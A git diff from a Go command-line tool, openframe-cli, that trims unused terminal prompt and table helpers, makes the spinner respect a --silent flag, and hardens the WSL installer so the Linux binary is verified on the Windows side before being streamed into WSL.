-// - Enter = yes (default) -// - y = yes (immediate, no Enter needed) -// - n = no (immediate, no Enter needed) -func ConfirmAction(message string) (bool, error) { - fmt.Printf("%s (Y/n): ", pterm.Bold.Sprint(message)) - - // Get the file descriptor for stdin - fd := int(os.Stdin.Fd()) - - // Check if stdin is a terminal - if !term.IsTerminal(fd) { - // Fallback for non-terminal input (like pipes/tests) - reader := bufio.NewReader(os.Stdin) - input, err := reader.ReadString('\n') - if err != nil { - return false, err - } - input = strings.ToLower(strings.TrimSpace(input)) - return input == "" || input == "y" || input == "yes", nil - } - - // Save the current terminal state - oldState, err := term.MakeRaw(fd) - if err != nil { - return false, err - } - - // restore returns the terminal to its cooked state. It is called before any - // output on every exit path (so prints get normal newline handling) rather - // than deferred. A failure would leave the terminal in raw mode — surface it - // (Debug) instead of silently dropping it; the user's captured choice is the - // function's real result, so we don't return the restore error. - restore := func() { - if err := term.Restore(fd, oldState); err != nil { - pterm.Debug.Printf("failed to restore terminal state (it may be left in raw mode): %v\n", err) - } - } - - // Read single character - buf := make([]byte, 1) - for { - _, err := os.Stdin.Read(buf) - if err != nil { - restore() - return false, err - } - - char := buf[0] - - switch char { - case '\r', '\n': // Enter key - restore() - fmt.Println() - return true, nil // Default to yes - case 'y', 'Y': - restore() - fmt.Println("y") - return true, nil - case 'n', 'N': - restore() - fmt.Println("n") - return false, nil - case 3: // Ctrl+C - restore() - fmt.Println() - return false, fmt.Errorf("interrupted") - // Ignore other characters and continue reading - } - } -} - // selectTemplates is the shared styling for the interactive list selectors. var selectTemplates = &promptui.SelectTemplates{ Label: "{{ . }}?", @@ -136,58 +75,6 @@ func SelectFromList(label string, items []string) (int, string, error) { return prompt.Run() } -// GetInput prompts the user for text input -func GetInput(label, defaultValue string, validate func(string) error) (string, error) { - prompt := promptui.Prompt{ - Label: label, - Default: defaultValue, - Validate: validate, - } - - return prompt.Run() -} - -// GetMultiChoice prompts the user to select multiple items from a list -func GetMultiChoice(label string, items []string, defaults []bool) ([]bool, error) { - if len(items) != len(defaults) { - return nil, fmt.Errorf("items and defaults must have the same length") - } - - results := make([]bool, len(items)) - copy(results, defaults) - - for i, item := range items { - confirmed, err := ConfirmAction(fmt.Sprintf("%s - %s", label, item)) - if err != nil { - return nil, err - } - results[i] = confirmed - } - - return results, nil -} - -// HandleResourceSelection resolves a resource name from args or interactive -// selection: it returns the first non-empty arg if given, otherwise prompts the -// user to pick from items via SelectFromList. -func HandleResourceSelection(args []string, items []string, prompt string) (string, error) { - if len(args) > 0 { - resourceName := strings.TrimSpace(args[0]) - if resourceName == "" { - return "", fmt.Errorf("resource name cannot be empty") - } - return resourceName, nil - } - if len(items) == 0 { - return "", fmt.Errorf("no items available for selection") - } - _, selected, err := SelectFromList(prompt, items) - if err != nil { - return "", fmt.Errorf("selection failed: %w", err) - } - return selected, nil -} - // ValidateNonEmpty validates that input is not empty after trimming func ValidateNonEmpty(fieldName string) func(string) error { return func(input string) error { diff --git a/internal/shared/ui/prompts_test.go b/internal/shared/ui/prompts_test.go index 2bf483cc..0d64769c 100644 --- a/internal/shared/ui/prompts_test.go +++ b/internal/shared/ui/prompts_test.go @@ -1,8 +1,6 @@ package ui import ( - "errors" - "strings" "testing" "github.com/stretchr/testify/assert" @@ -11,173 +9,6 @@ import ( // Note: These tests are limited because promptui interacts with stdin/stdout // In a real test environment, you would mock the promptui package or use integration tests -func TestConfirmAction_ValidateFunction(t *testing.T) { - // Test the validation function that would be used in ConfirmAction - validateFunc := func(input string) error { - input = strings.ToLower(strings.TrimSpace(input)) - if input == "" || input == "y" || input == "yes" || input == "n" || input == "no" { - return nil - } - return errors.New("please enter Y/y/yes or N/n/no") - } - - tests := []struct { - name string - input string - wantErr bool - }{ - { - name: "empty input", - input: "", - wantErr: false, - }, - { - name: "y", - input: "y", - wantErr: false, - }, - { - name: "Y", - input: "Y", - wantErr: false, - }, - { - name: "yes", - input: "yes", - wantErr: false, - }, - { - name: "YES", - input: "YES", - wantErr: false, - }, - { - name: "n", - input: "n", - wantErr: false, - }, - { - name: "N", - input: "N", - wantErr: false, - }, - { - name: "no", - input: "no", - wantErr: false, - }, - { - name: "NO", - input: "NO", - wantErr: false, - }, - { - name: "with spaces", - input: " yes ", - wantErr: false, - }, - { - name: "invalid input", - input: "maybe", - wantErr: true, - }, - { - name: "invalid number", - input: "1", - wantErr: true, - }, - { - name: "valid empty space (trimmed to empty)", - input: " ", - wantErr: false, - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - err := validateFunc(tt.input) - if tt.wantErr { - assert.Error(t, err) - assert.Contains(t, err.Error(), "please enter Y/y/yes or N/n/no") - } else { - assert.NoError(t, err) - } - }) - } -} - -func TestConfirmAction_ResultParsing(t *testing.T) { - // Test the logic that would parse user input in ConfirmAction - parseResult := func(result string) bool { - result = strings.ToLower(strings.TrimSpace(result)) - return result == "" || result == "y" || result == "yes" - } - - tests := []struct { - name string - input string - expected bool - }{ - { - name: "empty input (default Y)", - input: "", - expected: true, - }, - { - name: "y", - input: "y", - expected: true, - }, - { - name: "Y", - input: "Y", - expected: true, - }, - { - name: "yes", - input: "yes", - expected: true, - }, - { - name: "YES", - input: "YES", - expected: true, - }, - { - name: "with spaces", - input: " yes ", - expected: true, - }, - { - name: "n", - input: "n", - expected: false, - }, - { - name: "N", - input: "N", - expected: false, - }, - { - name: "no", - input: "no", - expected: false, - }, - { - name: "NO", - input: "NO", - expected: false, - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - result := parseResult(tt.input) - assert.Equal(t, tt.expected, result) - }) - } -} - // TestSelectTemplates asserts on the shared selectTemplates the selectors use, // so a styling change is a deliberate, reviewed edit. func TestSelectTemplates(t *testing.T) { @@ -187,193 +18,15 @@ func TestSelectTemplates(t *testing.T) { assert.Equal(t, "✓ {{ . | green }}", selectTemplates.Selected) // chosen row: check } -func TestGetInput_DefaultValues(t *testing.T) { - // Test the configuration that would be used in GetInput - label := "Enter value" - defaultValue := "default" - validateFunc := func(input string) error { - if input == "" { - return errors.New("input cannot be empty") - } - return nil - } - - // Verify parameters - assert.Equal(t, "Enter value", label) - assert.Equal(t, "default", defaultValue) - - // Test the validation function - assert.NoError(t, validateFunc("valid input")) - assert.Error(t, validateFunc("")) -} - -func TestGetMultiChoice_ErrorHandling(t *testing.T) { - // Test the error conditions in GetMultiChoice - tests := []struct { - name string - items []string - defaults []bool - wantErr bool - errMsg string - }{ - { - name: "matching lengths", - items: []string{"item1", "item2"}, - defaults: []bool{true, false}, - wantErr: false, - }, - { - name: "mismatched lengths - items longer", - items: []string{"item1", "item2", "item3"}, - defaults: []bool{true, false}, - wantErr: true, - errMsg: "items and defaults must have the same length", - }, - { - name: "mismatched lengths - defaults longer", - items: []string{"item1"}, - defaults: []bool{true, false, true}, - wantErr: true, - errMsg: "items and defaults must have the same length", - }, - { - name: "empty arrays", - items: []string{}, - defaults: []bool{}, - wantErr: false, - }, - { - name: "nil items with empty defaults", - items: nil, - defaults: []bool{}, - wantErr: false, - }, - { - name: "empty items with nil defaults", - items: []string{}, - defaults: nil, - wantErr: false, - }, - { - name: "single item with single default", - items: []string{"single"}, - defaults: []bool{true}, - wantErr: false, - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - // Simulate the validation logic from GetMultiChoice - if len(tt.items) != len(tt.defaults) { - err := errors.New("items and defaults must have the same length") - if tt.wantErr { - assert.Error(t, err) - assert.Equal(t, tt.errMsg, err.Error()) - } - return - } - - if !tt.wantErr { - // Verify the arrays can be processed - results := make([]bool, len(tt.items)) - if tt.defaults != nil { - copy(results, tt.defaults) - } - assert.Equal(t, len(tt.items), len(results)) - - // For nil vs empty slice comparison, check lengths instead of direct equality - if tt.defaults == nil && len(tt.items) == 0 { - // Both should be empty/nil - acceptable condition - assert.Equal(t, 0, len(results)) - } else { - assert.Equal(t, tt.defaults, results) - } - - // Verify length consistency - assert.Equal(t, len(tt.items), len(tt.defaults)) - } - }) - } -} - -// Test prompt configuration structures -func TestPromptConfiguration(t *testing.T) { - t.Run("ConfirmAction prompt configuration", func(t *testing.T) { - message := "Do you want to continue?" - expectedLabel := message + " (Y/n)" - expectedDefault := "Y" - - assert.Equal(t, "Do you want to continue? (Y/n)", expectedLabel) - assert.Equal(t, "Y", expectedDefault) - }) - - t.Run("GetInput prompt configuration", func(t *testing.T) { - label := "Enter your name" - defaultValue := "John Doe" - - assert.Equal(t, "Enter your name", label) - assert.Equal(t, "John Doe", defaultValue) - }) -} - // Test that the package exports the expected functions func TestPackageExports(t *testing.T) { // Verify that all expected functions are available // This is more of a compile-time check, but ensures the API is stable - t.Run("ConfirmAction function exists", func(t *testing.T) { - // We can't easily test the actual function without mocking stdin, - // but we can verify it's callable (would compile) - assert.NotNil(t, ConfirmAction) - }) - t.Run("SelectFromList function exists", func(t *testing.T) { assert.NotNil(t, SelectFromList) }) - t.Run("GetInput function exists", func(t *testing.T) { - assert.NotNil(t, GetInput) - }) - - t.Run("GetMultiChoice function exists", func(t *testing.T) { - assert.NotNil(t, GetMultiChoice) - }) -} - -// Benchmark test for the validation function -func BenchmarkConfirmActionValidation(b *testing.B) { - validateFunc := func(input string) error { - input = strings.ToLower(strings.TrimSpace(input)) - if input == "" || input == "y" || input == "yes" || input == "n" || input == "no" { - return nil - } - return errors.New("please enter Y/y/yes or N/n/no") - } - - inputs := []string{"y", "yes", "n", "no", "", "Y", "YES", "N", "NO", "invalid"} - - b.ResetTimer() - for i := 0; i < b.N; i++ { - input := inputs[i%len(inputs)] - _ = validateFunc(input) // Explicitly discard result - } -} - -// Additional benchmark for result parsing -func BenchmarkConfirmActionResultParsing(b *testing.B) { - parseResult := func(result string) bool { - result = strings.ToLower(strings.TrimSpace(result)) - return result == "" || result == "y" || result == "yes" - } - - inputs := []string{"y", "yes", "n", "no", "", "Y", "YES", "N", "NO"} - - b.ResetTimer() - for i := 0; i < b.N; i++ { - input := inputs[i%len(inputs)] - _ = parseResult(input) // Explicitly discard result - } } func TestValidateNonEmpty(t *testing.T) { diff --git a/internal/shared/ui/silent.go b/internal/shared/ui/silent.go index 7a3ca21d..46eeff9b 100644 --- a/internal/shared/ui/silent.go +++ b/internal/shared/ui/silent.go @@ -7,18 +7,22 @@ import ( ) // silent records whether --silent suppressed non-error output. Read by the logo -// renderer (and available via IsSilent) so callers can honor the flag too. +// renderer so it can honor the flag. var silent bool -// IsSilent reports whether SetSilent has been applied (the --silent flag). -func IsSilent() bool { return silent } - // SetSilent honors the --silent flag's contract ("suppress all output except // errors"): it routes every non-error pterm printer to io.Discard and marks the // UI silent so the ASCII logo is skipped. Error and Fatal printers are left // untouched so failures are still surfaced. It mutates pterm's package-level // printers, so it must be called once, early — from the root command's // PersistentPreRun — and is not meant to be reversed within a process. +// IsSilent reports whether --silent was applied. Components that write to +// stdout through their OWN writer — the spinner prints its final line via +// pterm.Success.WithWriter(s.out), which overrides the io.Discard writer +// SetSilent installs on the package-level printers — must consult this, or +// they leak output that --silent promises to suppress. +func IsSilent() bool { return silent } + func SetSilent() { silent = true pterm.Info = *pterm.Info.WithWriter(io.Discard) diff --git a/internal/shared/ui/silent_test.go b/internal/shared/ui/silent_test.go index e9a8619e..c2a50ea6 100644 --- a/internal/shared/ui/silent_test.go +++ b/internal/shared/ui/silent_test.go @@ -25,11 +25,11 @@ func TestSetSilent(t *testing.T) { silent = savedSilent }) - assert.False(t, IsSilent(), "precondition: not silent") + assert.False(t, silent, "precondition: not silent") SetSilent() - assert.True(t, IsSilent()) + assert.True(t, silent) assert.Equal(t, io.Discard, pterm.Info.GetWriter(), "Info must be discarded") assert.Equal(t, io.Discard, pterm.Success.GetWriter(), "Success must be discarded") assert.Equal(t, io.Discard, pterm.Warning.GetWriter(), "Warning must be discarded") @@ -45,5 +45,5 @@ func TestShowLogoConditional_SilentSkips(t *testing.T) { // With silent set the renderer must early-return; this just exercises the // guard path (no panic, no output). ShowLogoConditional(false) - assert.True(t, IsSilent()) + assert.True(t, silent) } diff --git a/internal/shared/ui/spinner/silent_test.go b/internal/shared/ui/spinner/silent_test.go new file mode 100644 index 00000000..c553e35a --- /dev/null +++ b/internal/shared/ui/spinner/silent_test.go @@ -0,0 +1,72 @@ +package spinner + +import ( + "bytes" + "io" + "os" + "strings" + "testing" + + "github.com/flamingo-stack/openframe-cli/internal/shared/ui" + "github.com/pterm/pterm" +) + +// captureStdout runs fn with os.Stdout redirected to a pipe and returns what was +// written. The leak this guards against goes to the real stdout, so asserting on +// an injected writer would not see it. +func captureStdout(t *testing.T, fn func()) string { + t.Helper() + r, w, err := os.Pipe() + if err != nil { + t.Fatal(err) + } + old := os.Stdout + os.Stdout = w + defer func() { os.Stdout = old }() + + fn() + + _ = w.Close() + var buf bytes.Buffer + if _, err := io.Copy(&buf, r); err != nil { + t.Fatal(err) + } + return buf.String() +} + +// TestSpinner_SilentSuppressesSuccessButNotFailure locks --silent's contract +// ("suppress all output except errors") for the spinner. +// +// The spinner prints its final line via pterm.Success.WithWriter(s.out), and +// that WithWriter overrides the io.Discard writer ui.SetSilent() installs on the +// package-level printers. Every spinner in the CLI therefore printed its Success +// line to stdout under --silent. A failure, by contrast, must still be reported. +func TestSpinner_SilentSuppressesSuccessButNotFailure(t *testing.T) { + // SetSilent is process-global and irreversible by design; snapshot the + // printers it rewires so the rest of the package's tests keep their output. + info, success, warning, errp := pterm.Info, pterm.Success, pterm.Warning, pterm.Error + t.Cleanup(func() { pterm.Info, pterm.Success, pterm.Warning, pterm.Error = info, success, warning, errp }) + + ui.SetSilent() + + // New() snapshots os.Stdout, so it must be constructed inside the capture. + out := captureStdout(t, func() { + sp := New() + sp.Start("installing") + sp.Success("installed") + }) + if strings.Contains(out, "installed") { + t.Errorf("--silent must not print the spinner's success line to stdout; got %q", out) + } + + // A failure must still surface: --silent suppresses everything EXCEPT errors. + var errOut bytes.Buffer + pterm.Error = *pterm.Error.WithWriter(&errOut) + sp := New() + sp.Start("installing") + sp.Fail("install failed") + + if got := errOut.String(); !strings.Contains(got, "install failed") { + t.Errorf("--silent must still report failures; got %q", got) + } +} diff --git a/internal/shared/ui/spinner/spinner.go b/internal/shared/ui/spinner/spinner.go index f59d4f8a..ef6c3bdb 100644 --- a/internal/shared/ui/spinner/spinner.go +++ b/internal/shared/ui/spinner/spinner.go @@ -14,6 +14,7 @@ import ( "sync" "time" + "github.com/flamingo-stack/openframe-cli/internal/shared/ui" "github.com/pterm/pterm" "golang.org/x/term" ) @@ -35,6 +36,7 @@ var defaultFrames = []string{"⠋", "⠙", "⠹", "⠸", "⠼", "⠴", "⠦", " type Spinner struct { out io.Writer isTTY bool + silent bool // --silent: suppress everything except the failure line interval time.Duration frames []string @@ -62,8 +64,17 @@ func Start(text string) *Spinner { return s } -// New returns a Spinner that writes to stdout (animated only on a real terminal). +// New returns a Spinner that writes to stdout (animated only on a real +// terminal). Under --silent it writes to io.Discard: the final Success/Fail +// line goes through pterm..WithWriter(s.out), which overrides the +// io.Discard writer SetSilent installs on the package-level printers, so a +// spinner would otherwise print to stdout in a mode that promises silence. func New() *Spinner { + if ui.IsSilent() { + s := NewWithWriter(io.Discard) + s.silent = true + return s + } s := NewWithWriter(os.Stdout) if f, ok := any(os.Stdout).(*os.File); ok { s.isTTY = term.IsTerminal(int(f.Fd())) @@ -169,6 +180,16 @@ func (s *Spinner) finish(text string, style finalStyle) { fmt.Fprint(s.out, "\r\033[K") // clear the spinner line } + // --silent means "suppress all output except errors", so a failure still + // speaks — through the package-level Error printer, which SetSilent leaves + // pointed at stdout on purpose. + if s.silent { + if style == styleFail { + pterm.Error.Println(text) + } + return + } + switch style { case styleSuccess: pterm.Success.WithWriter(s.out).Println(text) diff --git a/internal/shared/ui/status.go b/internal/shared/ui/status.go new file mode 100644 index 00000000..3b9f3c46 --- /dev/null +++ b/internal/shared/ui/status.go @@ -0,0 +1,22 @@ +package ui + +import ( + "strings" + + "github.com/pterm/pterm" +) + +// GetStatusColor returns a color function appropriate for a status string +// (green for running/ready, yellow for pending, red for failures). +func GetStatusColor(status string) func(string) string { + switch strings.ToLower(status) { + case "running", "ready": + return func(s string) string { return pterm.Green(s) } + case "stopped", "not ready", "pending": + return func(s string) string { return pterm.Yellow(s) } + case "error", "failed", "unhealthy": + return func(s string) string { return pterm.Red(s) } + default: + return func(s string) string { return pterm.Gray(s) } + } +} diff --git a/internal/shared/ui/tables.go b/internal/shared/ui/tables.go deleted file mode 100644 index a43c0c8c..00000000 --- a/internal/shared/ui/tables.go +++ /dev/null @@ -1,79 +0,0 @@ -package ui - -import ( - "fmt" - "strings" - - "github.com/pterm/pterm" -) - -// RenderTableWithFallback renders a table with fallback to simple output -func RenderTableWithFallback(data pterm.TableData, hasHeader bool) error { - if err := pterm.DefaultTable.WithHasHeader(hasHeader).WithData(data).Render(); err != nil { - // Fallback to simple output for the specific 5-column layout used in cluster commands - for i, row := range data { - if i == 0 && hasHeader { - fmt.Printf("%-20s %-10s %-12s %-8s %-10s\n", row[0], row[1], row[2], row[3], row[4]) - fmt.Println(strings.Repeat("─", 70)) - } else if len(row) >= 5 { - fmt.Printf("%-20s %-10s %-12s %-8s %-10s\n", row[0], row[1], row[2], row[3], row[4]) - } - } - } - return nil -} - -// RenderKeyValueTable renders table data in key-value format with fallback -func RenderKeyValueTable(data pterm.TableData) error { - if err := pterm.DefaultTable.WithHasHeader().WithData(data).Render(); err != nil { - // Fallback to simple key-value output - for i, row := range data { - if i == 0 { - continue // Skip header - } - if len(row) >= 2 { - fmt.Printf("%s: %s\n", row[0], row[1]) - } - } - } - return nil -} - -// RenderNodeTable renders node information table with fallback -func RenderNodeTable(data pterm.TableData) error { - if err := pterm.DefaultTable.WithHasHeader().WithData(data).Render(); err != nil { - // Fallback to simple output - fmt.Printf("%-40s | %-13s | %-10s | %s\n", "NAME", "ROLE", "STATUS", "AGE") - fmt.Println(strings.Repeat("-", 80)) - for i, row := range data { - if i == 0 { - continue // Skip header - } - if len(row) >= 4 { - fmt.Printf("%-40s | %-13s | %-10s | %s\n", row[0], row[1], row[2], row[3]) - } - } - } - return nil -} - -// GetStatusColor returns appropriate color function for status -func GetStatusColor(status string) func(string) string { - switch strings.ToLower(status) { - case "running", "ready": - return func(s string) string { return pterm.Green(s) } - case "stopped", "not ready", "pending": - return func(s string) string { return pterm.Yellow(s) } - case "error", "failed", "unhealthy": - return func(s string) string { return pterm.Red(s) } - default: - return func(s string) string { return pterm.Gray(s) } - } -} - -// ShowSuccessBox displays a success message in a formatted box -func ShowSuccessBox(title, content string) { - pterm.DefaultBox.WithTitle(title). - WithTitleTopCenter(). - Println(content) -} diff --git a/internal/shared/ui/tables_test.go b/internal/shared/ui/tables_test.go deleted file mode 100644 index cf7c8c4e..00000000 --- a/internal/shared/ui/tables_test.go +++ /dev/null @@ -1,92 +0,0 @@ -package ui - -import ( - "testing" - - "github.com/pterm/pterm" -) - -func TestGetStatusColor(t *testing.T) { - tests := []struct { - status string - expected string - }{ - {"running", "green"}, - {"RUNNING", "green"}, - {"ready", "green"}, - {"stopped", "yellow"}, - {"pending", "yellow"}, - {"error", "red"}, - {"failed", "red"}, - {"unknown", "gray"}, - {"", "gray"}, - } - - for _, tt := range tests { - t.Run(tt.status, func(t *testing.T) { - colorFunc := GetStatusColor(tt.status) - if colorFunc == nil { - t.Errorf("GetStatusColor(%q) returned nil", tt.status) - } - // Test that function doesn't panic - result := colorFunc("test") - if result == "" { - t.Errorf("GetStatusColor(%q) returned empty string", tt.status) - } - }) - } -} - -func TestRenderTableWithFallback(t *testing.T) { - testData := pterm.TableData{ - {"Name", "Type", "Status", "Nodes", "Created"}, - {"test-cluster", "k3d", "running", "3", "2023-01-01"}, - } - - // Should not panic - err := RenderTableWithFallback(testData, true) - if err != nil { - t.Errorf("RenderTableWithFallback failed: %v", err) - } - - // Test without header - err = RenderTableWithFallback(testData, false) - if err != nil { - t.Errorf("RenderTableWithFallback without header failed: %v", err) - } -} - -func TestRenderKeyValueTable(t *testing.T) { - testData := pterm.TableData{ - {"Property", "Value"}, - {"Name", "test-cluster"}, - {"Type", "k3d"}, - {"Status", "running"}, - } - - // Should not panic - err := RenderKeyValueTable(testData) - if err != nil { - t.Errorf("RenderKeyValueTable failed: %v", err) - } -} - -func TestRenderNodeTable(t *testing.T) { - testData := pterm.TableData{ - {"NAME", "ROLE", "STATUS", "AGE"}, - {"node-1", "control-plane", "Ready", "5m"}, - {"node-2", "worker", "Ready", "4m"}, - } - - // Should not panic - err := RenderNodeTable(testData) - if err != nil { - t.Errorf("RenderNodeTable failed: %v", err) - } -} - -func TestShowSuccessBox(t *testing.T) { - // Should not panic - ShowSuccessBox("Test Title", "Test content message") - ShowSuccessBox("", "") -} diff --git a/internal/shared/ui/utils.go b/internal/shared/ui/utils.go deleted file mode 100644 index b843690d..00000000 --- a/internal/shared/ui/utils.go +++ /dev/null @@ -1,30 +0,0 @@ -package ui - -import ( - "fmt" - "time" -) - -// FormatAge formats a time duration into a human-readable age string -func FormatAge(createdAt time.Time) string { - if createdAt.IsZero() { - return "unknown" - } - - duration := time.Since(createdAt) - - days := int(duration.Hours() / 24) - hours := int(duration.Hours()) % 24 - minutes := int(duration.Minutes()) % 60 - seconds := int(duration.Seconds()) % 60 - - if days > 0 { - return fmt.Sprintf("%dd", days) - } else if hours > 0 { - return fmt.Sprintf("%dh", hours) - } else if minutes > 0 { - return fmt.Sprintf("%dm", minutes) - } else { - return fmt.Sprintf("%ds", seconds) - } -} diff --git a/internal/shared/ui/utils_test.go b/internal/shared/ui/utils_test.go deleted file mode 100644 index ac922d5c..00000000 --- a/internal/shared/ui/utils_test.go +++ /dev/null @@ -1,90 +0,0 @@ -package ui - -import ( - "testing" - "time" -) - -func TestFormatAge(t *testing.T) { - tests := []struct { - name string - createdAt time.Time - expected string - description string - }{ - { - name: "zero time", - createdAt: time.Time{}, - expected: "unknown", - description: "should return 'unknown' for zero time", - }, - { - name: "seconds", - createdAt: time.Now().Add(-30 * time.Second), - expected: "30s", - description: "should format seconds", - }, - { - name: "minutes", - createdAt: time.Now().Add(-5 * time.Minute), - expected: "5m", - description: "should format minutes", - }, - { - name: "hours", - createdAt: time.Now().Add(-2 * time.Hour), - expected: "2h", - description: "should format hours", - }, - { - name: "days", - createdAt: time.Now().Add(-3 * 24 * time.Hour), - expected: "3d", - description: "should format days", - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - result := FormatAge(tt.createdAt) - - // For time-sensitive tests, we need some tolerance - if tt.name == "zero time" { - if result != tt.expected { - t.Errorf("FormatAge() = %v, want %v", result, tt.expected) - } - return - } - - // For non-zero times, just check that we get a reasonable format - if len(result) == 0 { - t.Errorf("FormatAge() returned empty string") - return - } - - // Check that it ends with the expected unit - expectedUnit := tt.expected[len(tt.expected)-1:] - actualUnit := result[len(result)-1:] - - if actualUnit != expectedUnit { - t.Errorf("FormatAge() unit = %v, want %v (full result: %v)", actualUnit, expectedUnit, result) - } - }) - } -} - -func TestFormatAgeEdgeCases(t *testing.T) { - // Test that very recent times return seconds - veryRecent := time.Now().Add(-1 * time.Second) - result := FormatAge(veryRecent) - if result[len(result)-1:] != "s" { - t.Errorf("FormatAge() for very recent time should end with 's', got %v", result) - } - - // Test that future times don't panic (though this shouldn't happen in practice) - future := time.Now().Add(1 * time.Hour) - result = FormatAge(future) - if result == "" { - t.Errorf("FormatAge() for future time should not return empty string") - } -} diff --git a/internal/shared/wsllauncher/install.go b/internal/shared/wsllauncher/install.go index b4ce0a40..bf71f054 100644 --- a/internal/shared/wsllauncher/install.go +++ b/internal/shared/wsllauncher/install.go @@ -1,14 +1,17 @@ package wsllauncher import ( + "bytes" + "context" "fmt" "os" "os/exec" "strings" -) + "time" -// releaseRepo is the GitHub repository releases are published to. -const releaseRepo = "flamingo-stack/openframe-cli" + "github.com/flamingo-stack/openframe-cli/internal/shared/selfupdate" + "github.com/flamingo-stack/openframe-cli/internal/shared/ui/spinner" +) // localBinaryEnv, when set to the Windows path of a Linux openframe binary, // installs that binary into WSL instead of downloading a release. Intended for @@ -27,47 +30,19 @@ func isReleaseVersion(version string) bool { return !strings.Contains(version, "-") } -// releaseTag reconstructs the git tag for a goreleaser .Version (which has the -// leading "v" stripped). -func releaseTag(version string) string { - v := strings.TrimSpace(version) - if strings.HasPrefix(v, "v") { - return v - } - return "v" + v -} - -// linuxArchiveName is the goreleaser archive filename for the Linux build of the -// given GOARCH (name_template "openframe-cli_{{.Os}}_{{.Arch}}", tar.gz). -func linuxArchiveName(goarch string) string { - return fmt.Sprintf("openframe-cli_linux_%s.tar.gz", goarch) -} - -// releaseAssetURL builds the download URL for a release asset. -func releaseAssetURL(version, asset string) string { - return fmt.Sprintf("https://github.com/%s/releases/download/%s/%s", releaseRepo, releaseTag(version), asset) -} - -// installScript returns a bash script (run inside WSL) that downloads the Linux -// archive, verifies it against the release checksums, and installs the openframe -// binary into ~/.openframe/bin. It is a pure function so the logic is testable. -func installScript(archiveURL, checksumsURL, archiveName string) string { - // Single-quoted heredoc-free script; all inputs are our own constant-derived - // URLs (no user data). +// stdinInstallScript returns a bash script (run inside WSL) that installs the +// openframe binary streamed on STDIN into ~/.openframe/bin. The binary itself +// is downloaded and verified (cosign identity + SHA256) on the Windows side by +// selfupdate.FetchVerifiedLinuxBinary — nothing unverified ever reaches WSL, +// and the distro needs no curl. Pure and testable. +func stdinInstallScript() string { return strings.Join([]string{ "set -e", `BIN_DIR="$HOME/.openframe/bin"`, `mkdir -p "$BIN_DIR"`, - `TMP="$(mktemp -d)"`, - `trap 'rm -rf "$TMP"' EXIT`, - `cd "$TMP"`, - fmt.Sprintf(`curl -fsSL -o archive.tar.gz %q`, archiveURL), - fmt.Sprintf(`curl -fsSL -o checksums.txt %q`, checksumsURL), - fmt.Sprintf(`EXPECTED="$(grep " %s$" checksums.txt | awk '{print $1}')"`, archiveName), - `ACTUAL="$(sha256sum archive.tar.gz | awk '{print $1}')"`, - `[ -n "$EXPECTED" ] && [ "$EXPECTED" = "$ACTUAL" ] || { echo "checksum verification failed" >&2; exit 1; }`, - `tar -xzf archive.tar.gz openframe`, - `install -m 0755 openframe "$BIN_DIR/openframe"`, + `cat > "$BIN_DIR/openframe.tmp"`, + `chmod 0755 "$BIN_DIR/openframe.tmp"`, + `mv "$BIN_DIR/openframe.tmp" "$BIN_DIR/openframe"`, }, "\n") } @@ -144,18 +119,35 @@ func installLocalBinaryInWSL(windowsPath string) error { return nil } -// installOpenframeInWSL runs the install script inside WSL. Thin exec wrapper -// around the tested installScript / URL builders. +// installOpenframeInWSL fetches the matching Linux release through the full +// self-update trust chain (cosign-verified checksums, SHA256-verified archive) +// on the Windows side, then streams the binary into WSL via stdin. The old +// curl-inside-WSL path verified only checksums.txt from the same release — +// no authenticity — so a compromised release upload meant arbitrary code +// execution in WSL while `openframe update` would have rejected the same +// binary (audit B5/T2). func installOpenframeInWSL(version, goarch string) error { - archive := linuxArchiveName(goarch) - script := installScript( - releaseAssetURL(version, archive), - releaseAssetURL(version, "checksums.txt"), - archive, - ) - cmd := exec.Command("wsl", wslArgv("bash", "-lc", script)...) // #nosec G204 -- script built from constant-derived release URLs, no user input + ctx, cancel := context.WithTimeout(context.Background(), 10*time.Minute) + defer cancel() + + // This is the first thing a Windows user ever sees, and it downloads several + // megabytes and runs a cosign verification before their command starts. + // FetchVerifiedLinuxBinary already narrates each step; the caller passed nil + // and dropped every line, so the first run looked frozen. + sp := spinner.Start("Preparing the OpenFrame Linux binary for WSL...") + binary, err := selfupdate.FetchVerifiedLinuxBinary(ctx, version, goarch, sp.UpdateText) + if err != nil { + sp.Fail("Could not fetch the OpenFrame Linux binary") + return err + } + + sp.UpdateText("Installing openframe inside WSL...") + cmd := exec.Command("wsl", wslArgv("bash", "-lc", stdinInstallScript())...) // #nosec G204 -- constant script, binary delivered via stdin + cmd.Stdin = bytes.NewReader(binary) if out, err := cmd.CombinedOutput(); err != nil { + sp.Fail("Installing openframe inside WSL failed") return fmt.Errorf("installing openframe inside WSL failed: %w\n%s", err, string(out)) } + sp.Success("OpenFrame is installed inside WSL") return nil } diff --git a/internal/shared/wsllauncher/install_test.go b/internal/shared/wsllauncher/install_test.go index e2fd287d..d5010dfd 100644 --- a/internal/shared/wsllauncher/install_test.go +++ b/internal/shared/wsllauncher/install_test.go @@ -21,63 +21,33 @@ func TestIsReleaseVersion(t *testing.T) { } } -func TestReleaseTag(t *testing.T) { - if got := releaseTag("1.2.3"); got != "v1.2.3" { - t.Errorf("tag = %q, want v1.2.3", got) - } - if got := releaseTag("v1.2.3"); got != "v1.2.3" { - t.Errorf("already-prefixed tag = %q, want v1.2.3", got) - } -} - -func TestLinuxArchiveName(t *testing.T) { - if got := linuxArchiveName("amd64"); got != "openframe-cli_linux_amd64.tar.gz" { - t.Errorf("amd64 archive = %q", got) - } - if got := linuxArchiveName("arm64"); got != "openframe-cli_linux_arm64.tar.gz" { - t.Errorf("arm64 archive = %q", got) - } -} - -func TestReleaseAssetURL(t *testing.T) { - got := releaseAssetURL("1.2.3", "openframe-cli_linux_amd64.tar.gz") - want := "https://github.com/flamingo-stack/openframe-cli/releases/download/v1.2.3/openframe-cli_linux_amd64.tar.gz" - if got != want { - t.Errorf("url = %q, want %q", got, want) - } - if csum := releaseAssetURL("2.0.0", "checksums.txt"); !strings.HasSuffix(csum, "/v2.0.0/checksums.txt") { - t.Errorf("checksums url = %q", csum) - } -} - -// TestInstallScript_VerifiesAndInstalls locks the safety-critical shape of the -// install script: it must download, verify the SHA256 against the release -// checksums, and only then install the binary. -func TestInstallScript_VerifiesAndInstalls(t *testing.T) { - s := installScript( - "https://example.com/archive.tar.gz", - 